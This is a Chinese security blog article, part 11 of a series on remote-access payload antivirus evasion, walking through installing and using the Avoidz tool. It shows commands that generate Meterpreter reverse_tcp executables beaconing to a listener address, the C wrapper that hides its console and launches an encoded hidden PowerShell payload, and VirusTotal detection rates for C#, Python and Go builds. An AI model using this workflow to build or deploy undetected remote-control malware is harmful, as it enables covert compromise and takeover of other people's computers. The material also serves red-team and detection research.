远控免杀专题(11)-Avoidz免杀(VT免杀率23/71)

2020-06-11 15,710

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本专题文章导航

1、远控免杀专题文章(1)-基础篇:https://www.secpulse.com/archives/123295.html

2、远控免杀专题文章(2)-msfvenom隐藏的参数:https://www.secpulse.com/archives/123300.html

3、远控免杀专题文章(3)-msf自带免杀(VT免杀率35/69):https://www.secpulse.com/archives/123315.html

4、远控免杀专题文章(4)-Evasion模块(VT免杀率12/71):https://www.secpulse.com/archives/123339.html

5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://www.secpulse.com/archives/127186.html

6、远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://www.secpulse.com/archives/127297.html

7、远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://www.secpulse.com/archives/127713.html

8、远控免杀专题(8)-Shellter免杀(VT免杀率7/69):https://www.secpulse.com/archives/128628.html

9、远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://www.secpulse.com/archives/130734.html

10、远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://www.secpulse.com/archives/130782.html

11、远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus

免杀能力一览表


几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。

一、avoidz介绍


Avoidz是一个比较使用比较简单的小工具,利用msf生成powershell的shellocde,然后利用c#、python、go、ruby等语言对shellcode进行编译生成exe而达到免杀的效果,套路比较简单,但免杀效果还算不错。

二、安装avodiz

avoidz使用是非常简单的,一行命令就可以,但安装比较费劲。因为官方是3年前更新的,里面有些错误,按官方的setup.sh是没法安装成功的。

首先从github上clone到本地

git clone https://github.com/M4sc3r4n0/avoidz

进入avoidz目录,执行chmod +x setup.sh

执行安装程序./setup.sh

会要求按照ruby、msf、wine、wine-python、wine-pyinstaller、golong等。

其中会提示mingw32安装失败,主要是因为setup.sh中是用命令i586-mingw32msvc-gcc来检测是否安装,使用命令apt-get install mingw32来安装mingw32的。

而在apt安装源中已经删除了mingw32,想安装的话需要使用这个命令

apt install mingw-w64

安装后会出现两个命令

i686-w64-mingw32-gcc  #针对32-bit Windows;
x86_64-w64-mingw32-gcc #针对64-bit Windows

然后我们做个软连接,这样后面执行./avoidz.rb生成payload的时候就不会出错了。

ln -s /usr/bin/i686-w64-mingw32-gcc /usr/bin/i586-mingw32msvc-gcc

安装成功



三、avoidz使用说明

安装好之后,使用起来非常非常简单,只有四个参数。

    -h, --lhost value                ip_addr|default = 127.0.0.1    
    -p, --lport value                port_number|default = 4444    
    -m, --payload value              payload to use|default = windows/meterpreter/reverse_tcp    
    -f, --format value               output format: c1, c2, cs, py, go

参数说明:

-h msf监听的IP,也就是攻击者的

-p msf监听的端口

-m msf的payload

-f 提供了5种编译格式,三种c/c#,一种python,一种go,都是生成exe文件

默认生成的payload目录为/root/目录下。

四、使用avoidz编译C#生成exe(VT免杀率23/68)

提供3种C代码编译成exe的方式,想了解详情的可以cat avoidz.rb查看具体区别。

我以第一种为例进行测试

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f c1

这种方式的C代码为

#include <windows.h>
int shellCode(){
system("color 63");
system("powershell.exe -nop -win Hidden -noni -enc #{powershell_encoded}");
/*
((Shell Code into the console))
    */
    return 0;
}
void hide(){
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass",NULL);
ShowWindow (stealth,0);
}int main(){
hide();
shellCode();
return 0;
}
}

执行后可正常上线

开启杀软进行测试,静态测试没问题,行为检测马上露馅。

virustotal.com中23/68个报毒

五、使用avoidz编译python生成exe(VT免杀率11/68)

使用python生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f py

静态查杀没问题,行为检测依据被拦

virustotal.com中11/68个报毒

六、使用avoidz编译golang生成exe(VT免杀率23/71)

使用go生成exe文件

./avoidz.rb -h 10.211.55.2 -p 3333 -m windows/meterpreter/reverse_tcp -f go

go版本的静态查杀都没通过,行为检测依据被拦

virustotal.com中23/71个报毒

小结

avoidz的原理还是比较简单的,msfvenom生成powershell的shellcode,然后各种语言编译一下生成exe,静态检测查杀率还算可以,但行为检测就很容易被查杀出来,和TheFatRat具有相同的缺陷。倒是可以借鉴下他的原理,自己写个免杀工具。

参考

官方使用教程:https://www.youtube.com/watch?v=ZilOByKkrVk



E




N




D







本文作者:TideSec

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/133392.html

Tags:
评论  (0)
快来写下你的想法吧!

TideSec

文章数:145 积分: 185

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号